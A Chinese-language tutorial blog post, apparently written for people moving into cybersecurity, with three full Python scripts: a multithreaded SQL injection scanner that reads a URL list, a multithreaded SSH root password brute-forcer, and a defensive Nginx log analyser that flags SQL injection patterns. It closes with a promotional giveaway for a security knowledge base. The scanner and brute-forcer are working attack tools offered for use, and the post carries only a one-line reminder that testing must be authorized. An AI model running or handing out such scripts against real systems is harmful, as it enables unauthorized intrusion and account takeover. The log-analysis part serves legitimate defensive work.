Python 在网络安全中的应用:转行必备的脚本编写技能(实战案例)
引言
很多转行网络安全的同学会问:“我不会写代码,能做安全吗?”—— 初期可以,但想长期发展,Python 是绕不开的 “效率神器”。比如:手动用 Sqlmap 扫 50 个 URL 的 SQL 注入漏洞要 1 天,写个 Python 脚本自动扫只要 1 小时;手动分析 1G 的 Nginx 日志找攻击 IP 要几小时,脚本处理只要几分钟。Python 能帮你从 “重复手动操作” 中解放,聚焦更核心的漏洞分析、风险评估。本文精选 3 个网络安全高频场景,每个场景给 “完整脚本 + 详细注释 + 运行步骤”,零基础也能跟着写,学会后直接用在工作 / 面试中。
一、新手必知:Python 为什么适合网络安全?
1. 核心优势(对转行友好)
语法简单:代码像 “英语句子”,零基础 1 周能写简单脚本(比如批量发请求);
库丰富:安全相关库现成的(requests发 HTTP 请求、scapy抓包、pymysql操作数据库),不用重复造轮子;
跨平台:Windows/Linux/Mac 都能运行,写一次脚本到处用;
轻量:脚本文件小(几 KB 到几十 KB),运行快,适合渗透测试、漏洞扫描场景。
2. 入门准备(3 步搞定)
环境搭建:安装 Python 3.x(官网下载,勾选 “Add Python to PATH”)、PyCharm(社区版免费,写代码 + 调试方便);
必学库:先掌握 4 个高频库,不用学太多:
| 库名 | 用途 | 学习重点 |
|---|---|---|
| requests | 发送 HTTP/HTTPS 请求(Web 漏洞测试必备) | 学get()、post()方法,处理 cookies、headers |
| re | 正则表达式(提取页面信息、日志分析) | 学search()、findall()方法,匹配 URL、IP、flag |
| threading | 多线程(批量扫描,提升效率) | 学Thread类,实现多线程并发请求 |
| pymysql | 操作 MySQL 数据库(漏洞利用时取数据) | 学connect()、execute()方法,执行 SQL 语句 |
- 学习方法:先学 “基础语法 + 常用库”,再做场景化实战,比如 “用 requests 发请求→用 re 提取数据→用 threading 批量扫”,循序渐进。
二、实战案例 1:批量 URL SQL 注入扫描脚本(Web 渗透高频)
1. 场景需求
需要扫描 50 个 URL(存放在urls.txt中)是否存在 SQL 注入漏洞,手动扫太慢,写脚本自动检测。
2. 脚本思路
读取urls.txt中的所有 URL(每行一个 URL,如http://example.com/article.php?id=1);
对每个 URL 构造 SQL 注入测试 payload(如id=1’、id=1 and 1=2);
发送请求,判断响应是否包含 “SQL 语法错误”“MySQL server version” 等注入特征;
输出有漏洞的 URL 到vuln_urls.txt。
3. 完整脚本(带详细注释)
import requests import re # 正则表达式,用于匹配注入特征 from threading import Thread # 多线程,提升扫描速度 # 1. 定义 SQL 注入测试 payload(新手选最常用的 2 个即可) payloads = [ "'", # 单引号测试,触发 SQL 语法错误 "and 1=2-- " # 逻辑假测试,触发页面空白或报错 ] # 2. 定义注入特征(出现这些字符串,大概率有注入) inject_patterns = [ "You have an error in your SQL syntax", # SQL 语法错误 "MySQL server version for the right syntax", # MySQL 版本信息 "Unclosed quotation mark after the character string", # SQL Server 单引号未闭合 "PG::SyntaxError", # PostgreSQL 语法错误 ] # 3. 定义扫描函数:检测单个 URL 是否有注入 def scan_url(url): try: # 遍历所有 payload 测试 for payload in payloads: # 构造测试 URL(替换 URL 中的 id 参数,如 id=1 变成 id=1') test_url = url.replace("id=1", f"id=1{payload}") # 发送请求(超时设为 5 秒,避免卡壳) response = requests.get(test_url, timeout=5, verify=False) # 忽略 SSL 证书警告(很多测试环境没有正规证书) requests.packages.urllib3.disable_warnings() # 检查响应是否包含注入特征 for pattern in inject_patterns: if re.search(pattern, response.text, re.IGNORECASE): print(f"[+] 发现 SQL 注入漏洞:{test_url}") # 把有漏洞的 URL 写入文件 with open("vuln_urls.txt", "a", encoding="utf-8") as f: f.write(test_url + "\n") break # 找到一个漏洞即可,不用再测其他 payload except Exception as e: # 捕获异常(如 URL 不可达、超时),不影响其他 URL 扫描 print(f"[-] 扫描失败({url}):{str(e)}") # 4. 主函数:读取 URL 列表,多线程扫描 def main(): # 读取 urls.txt 中的 URL(每行一个) with open("urls.txt", "r", encoding="utf-8") as f: urls = [line.strip() for line in f if line.strip()] # 去除空行和换行符 # 多线程扫描(同时开 10 个线程,避免请求过多被封) threads = [] for url in urls: t = Thread(target=scan_url, args=(url,)) # 创建线程 threads.append(t) t.start() # 启动线程 # 等待所有线程结束 for t in threads: t.join() print("\n[*] 扫描完成,有漏洞的 URL 已保存到 vuln_urls.txt") # 5. 运行脚本 if __name__ == "__main__": main()4. 运行步骤
- 准备urls.txt:每行写一个待扫描的 URL,如:
http://example.com/article.php?id=1 http://test.com/news.php?id=10 http://ctf.com/show.php?id=5安装依赖库:打开命令行,执行pip install requests;
运行脚本:在 PyCharm 中点击 “运行”,或命令行执行python sql_injection_scan.py;
查看结果:扫描完成后,vuln_urls.txt中会保存有漏洞的 URL。
5. 转行应用
简历写法:“用 Python 编写批量 SQL 注入扫描脚本,基于 requests 库发送测试请求,结合正则匹配注入特征,多线程扫描 50 个 URL,效率提升 80%,成功识别 3 个存在注入漏洞的目标”;
面试应对:被问 “怎么优化这个脚本?” 时,答 “可添加更多 payload(如union select)、增加代理池(避免 IP 被封)、支持 POST 参数扫描(当前只扫 GET 参数)”。
三、实战案例 2:SSH 弱密码爆破脚本(内网渗透高频)
1. 场景需求
拿到内网一批 Linux 服务器 IP(存放在ips.txt),需要测试是否存在 SSH 弱密码(账号root,密码从passwords.txt中取),写脚本自动爆破。
2. 脚本思路
读取ips.txt中的服务器 IP 和passwords.txt中的弱密码;
对每个 IP,尝试用root+ 密码登录 SSH;
登录成功则记录 IP 和密码,失败则继续尝试。
3. 完整脚本(带详细注释)
import paramiko # SSH 连接库 from threading import Thread import time # 1. 定义 SSH 登录函数 def ssh_brute(ip, username, password): # 创建 SSH 客户端 ssh = paramiko.SSHClient() # 自动接受未知主机密钥(测试环境用,生产环境需谨慎) ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # 尝试登录(超时 10 秒) ssh.connect( hostname=ip, username=username, password=password, timeout=10, allow_agent=False, # 禁用代理 look_for_keys=False # 禁用密钥登录 ) # 登录成功,输出并记录结果 result = f"[+] SSH 登录成功:{ip} | 账号:{username} | 密码:{password}" print(result) with open("ssh_success.txt", "a", encoding="utf-8") as f: f.write(result + "\n") ssh.close() # 关闭连接 except Exception as e: # 登录失败(密码错误、超时等),不输出详细错误(避免干扰) print(f"[-] SSH 登录失败:{ip} | 密码:{password}") finally: ssh.close() # 2. 主函数:多线程爆破 def main(): # 读取目标 IP 列表(ips.txt 每行一个 IP) with open("ips.txt", "r", encoding="utf-8") as f: ips = [line.strip() for line in f if line.strip()] # 读取弱密码列表(passwords.txt 每行一个密码) with open("passwords.txt", "r", encoding="utf-8") as f: passwords = [line.strip() for line in f if line.strip()] # 目标账号(通常是 root) username = "root" # 多线程爆破(同时开 5 个线程,避免请求过多) threads = [] for ip in ips: for pwd in passwords: t = Thread(target=ssh_brute, args=(ip, username, pwd)) threads.append(t) t.start() time.sleep(0.1) # 间隔 0.1 秒,避免瞬间请求过多 # 等待所有线程结束 for t in threads: t.join() print("\n[*] 爆破完成,成功的登录信息已保存到 ssh_success.txt") # 3. 运行脚本 if __name__ == "__main__": main()4. 运行步骤
- 准备文件:
ips.txt:每行一个服务器 IP,如192.168.1.101、192.168.1.102;
passwords.txt:每行一个弱密码,如123456、admin、password;
安装依赖库:pip install paramiko;
运行脚本:python ssh_brute.py;
查看结果:ssh_success.txt中保存登录成功的 IP、账号、密码。
5. 转行应用
简历写法:“编写 SSH 弱密码爆破脚本,基于 paramiko 库实现 SSH 连接,多线程测试 20 台内网服务器,成功发现 4 台存在弱密码(root/123456)的主机,为内网渗透提供入口”;
注意事项:仅限授权测试!未授权爆破是违法的,面试时要强调 “只在客户授权的测试环境使用”。
四、实战案例 3:Nginx 日志 SQL 注入分析脚本(安全运维高频)
1. 场景需求
服务器被攻击,需要分析 Nginx 访问日志(access.log),找出所有包含 SQL 注入 payload 的请求(如union select、or 1=1),并统计攻击 IP 的次数。
2. 脚本思路
读取 Nginx 日志文件;
用正则匹配包含 SQL 注入特征的日志行;
提取攻击 IP,统计每个 IP 的攻击次数;
输出结果到sql_injection_logs.txt和attack_ip_count.txt。
3. 完整脚本(带详细注释)
import re from collections import Counter # 用于统计 IP 次数 # 1. 定义 SQL 注入特征(常用 payload,可根据需求添加) sql_patterns = [ r"union\s+select", # union select 注入 r"or\s+1=1", # or 1=1 注入 r"and\s+1=2", # and 1=2 注入 r"order\s+by\s+\d+",# order by 猜列 r"benchmark\(\d+,md5\(\'\w+\'\)\)", # 时间盲注 r"concat\(.*\)" # concat 拼接数据 ] # 2. 定义日志分析函数 def analyze_nginx_log(log_path): attack_logs = [] # 存储包含注入的日志 attack_ips = [] # 存储攻击 IP # 读取日志文件(Nginx 日志格式:IP - - [时间] "请求" 状态码 字节数) with open(log_path, "r", encoding="utf-8", errors="ignore") as f: for line in f: # 提取 IP(日志开头的 IP,如 192.168.1.100) ip_match = re.match(r"^(\d+\.\d+\.\d+\.\d+)", line) if not ip_match: continue # 不是标准日志行,跳过 ip = ip_match.group(1) # 检查日志是否包含 SQL 注入特征 for pattern in sql_patterns: # 忽略大小写匹配(如 Union Select 和 union select 都能匹配) if re.search(pattern, line, re.IGNORECASE): attack_logs.append(line.strip()) attack_ips.append(ip) break # 匹配到一个特征即可,不用再查其他 # 统计攻击 IP 的次数(按次数降序) ip_count = Counter(attack_ips).most_common() # 保存包含注入的日志 with open("sql_injection_logs.txt", "w", encoding="utf-8") as f: f.write("包含 SQL 注入的 Nginx 日志:\n") f.write("="*50 + "\n") for log in attack_logs: f.write(log + "\n") # 保存攻击 IP 统计 with open("attack_ip_count.txt", "w", encoding="utf-8") as f: f.write("攻击 IP 统计(次数降序):\n") f.write("="*50 + "\n") f.write(f"{'IP 地址':<20} {'攻击次数':<10}\n") f.write("-"*50 + "\n") for ip, count in ip_count: f.write(f"{ip:<20} {count:<10}\n") # 输出结果摘要 print(f"[*] 日志分析完成!") print(f"[*] 发现 {len(attack_logs)} 条包含 SQL 注入的请求") print(f"[*] 涉及 {len(ip_count)} 个攻击 IP") print(f"[*] 详细结果已保存到 sql_injection_logs.txt 和 attack_ip_count.txt") # 3. 运行脚本 if __name__ == "__main__": # Nginx 日志路径(根据实际情况修改,Windows 路径如 "C:/nginx/logs/access.log") nginx_log_path = "/var/log/nginx/access.log" analyze_nginx_log(nginx_log_path)4. 运行步骤
确认日志路径:Linux 通常是/var/log/nginx/access.log,Windows 是nginx安装目录/logs/access.log;
运行脚本:python nginx_sql_analyze.py;
查看结果:
sql_injection_logs.txt:所有包含 SQL 注入的日志行;
attack_ip_count.txt:攻击 IP 及其次数(如192.168.1.105攻击 23 次)。
5. 转行应用
简历写法:“编写 Nginx 日志 SQL 注入分析脚本,基于正则匹配注入特征,处理 1.2G 日志文件,成功识别 156 条注入请求,定位 8 个攻击 IP,为服务器入侵溯源提供关键线索”;
延伸优化:可添加 “输出到 Excel”“自动拉黑高频攻击 IP” 功能,提升脚本实用性。
五、新手学习建议(转行版)
先模仿再修改:先跑通本文的脚本,再根据需求修改(如增加 payload、支持新格式日志);
聚焦 “高频场景”:先学 “批量扫描”“日志分析”“弱密码爆破”,这些是工作中最常用的;
别追求 “完美代码”:新手脚本只要能跑通、解决问题就行,后续再优化效率和可读性;
积累 “代码片段库”:把常用的代码(如 requests 发请求、正则匹配 IP)保存起来,下次直接用。
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源